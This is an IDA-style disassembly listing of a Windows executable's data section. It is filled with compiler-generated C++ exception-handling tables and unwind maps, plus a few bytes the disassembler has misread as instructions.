dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43857Bh,	0
		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438D0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_4438F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436BD4+62h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
